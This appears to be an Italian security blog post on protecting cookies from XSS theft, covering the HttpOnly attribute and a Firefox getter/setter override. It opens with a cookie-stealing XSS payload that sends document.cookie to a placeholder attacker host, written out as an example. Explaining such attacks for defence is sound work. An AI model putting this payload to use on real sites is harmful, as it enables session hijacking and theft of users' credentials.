Le vulnerabilità Xss sono spesso usate dagli attaccanti per appropriarsi dei cookies.
Una volta appropriatisi dei cookies ci sono varie possibilità di attacco come il Session Hijacking .
Un esempio classico per collezionare i cookies tramite XSS, è il seguente:
<script>
var img=new Image();
img.src="http://attaccante/cookiecollect.php?c="+document.cookie;
</script>
Queste due linee javascript, non fanno altro che forzare il browser che le esegue, a creare una immagine e a richiedere il contenuto dell'immagine al sito specificato.
Se il sito è controllato dall'attaccante, questi otterrà il cookie della vittima senza che la vittima se ne accorga.
Per capire quanto sia pericoloso, basta pensare alle sessioni e a come queste vengano usate per mantenere durante la navigazione su un sito eventuali credenziali di utente loggato o peggio di amministratore.

Microsoft già da un pò di tempo ha implementato, a partire da Internet Explorer 6 Service Pack 1, un modo per mitigare
tale problema.
La keyword HttpOnly.

Come funziona:
nell'header il server manda il cookie con l'attributo HttpOnly

Set-Cookie: Session:12345; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly

Explorer lo vede e blocca l'accesso al cookie da javascript.
Cioè non è più possibile ottenere tale valore usando document.cookie.

Si conoscono tecniche per bypassare questa restrizione ma facendo le dovute modifiche di sicurezza anche sul
server tali attacchi risultano fortemente mitigati se non azzerati completamente.
Attenzione però che si parla di esclusivamente blocco degli attacchi ai cookies e non di blocco del XSS,
che è di gran lunga peggiore.

Ora veniamo a Firefox e fratelli.
Mozilla a quanto pare non ha nessuna intenzione di implementare l'HttpOnly sui cookies.
Grazie ad Ascii con il quale un giorno abbiamo fatto un pò di considerazioni
sulle metodologie di blocco del XSS, ho approfondito la questione.

Gli sviluppatori di Mozilla sono riusciti a creare un framework di funzioni javascript molto
elastico e semplice da usare.
In particolare hanno definito delle funzioni di prototipizzazione e definizione di oggetti e classi.
Sfruttiamo nello specifico le funzioni __defineGetter__ e __defineSetter__ e applichiamole ai cookies.

Definizioni:

__defineGetter__ : permette di definire una funzione che viene eseguita ogni volta che richiediamo
il valore di un parametro o di una variabile.

__defineSetter__ : permette di definire una funzione che viene eseguita ogni volta che associamo un valore a un parametro o a una variabile.

Quindi:

HTMLDocument.prototype.__defineGetter__("cookie",function (){return null;});

bloccherà ogni richiesta al cookie da parte di codice javascript.

Ad es. in php:
<?
session_start();
?>
<script>
HTMLDocument.prototype.__defineGetter__("cookie",function (){return "sorry";});
alert(document.cookie);
</script>

mostrerà un alert con contenuto "sorry", anzichè il contenuto originale del cookie, e comunque internamente
Mozilla/Firefox, manterrà il contenuto originale.

E __defineSetter__?
Potrebbe essere usato per mitigare il Session Fixation
e altre tecniche di manipolazione dei cookie.
Cioè se non vogliamo che il cookie venga manipolato dal layer javascript possiamo definire:

HTMLDocument.prototype.__defineSetter__("cookie",function (new){});

Ad es.
<?
session_start();
?>
<script>
HTMLDocument.prototype.__defineSetter__("cookie",function (new){});
document.cookie="hello"
alert(document.cookie);
</script>

Questo approccio in realtà è comunque poco utile, dal momento che i cookie possono essere ridefiniti usando:
<meta http-equiv="Set-Cookie" content="value=n;path=/">

Se pero' filtriamo i tag meta sugli input la tecnica del setter blocca di fatto la manipolazione dei cookie via html.

Ovviamente i setter e i getter potrebbero essere applicati per bloccare anche le funzioni tipo: XMLHttpRequest & co.
ma purtoppo le funzioni __defineGetter__ e __defineSetter__ non sono implementate su tutti i browser (leggi MS IE).

Sarebbe bello sfruttare tecniche simili anche su IExplorer, ma le mie ricerche non hanno portato a granchè

ah...quanto agogno una implementazione standard delle funzioni js su tutti i browser...:(

Comments:

No comments yet.

Comments are disabled

Admin login | This weblog is from www.mylittlehomepage.net

Wisec - Un'Idea sviluppata e mantenuta da...

Wisec è scritto e mantenuto da Stefano Di Paola.

Wisec usa standard aperti, inclusi XHTML, PHP e CSS2.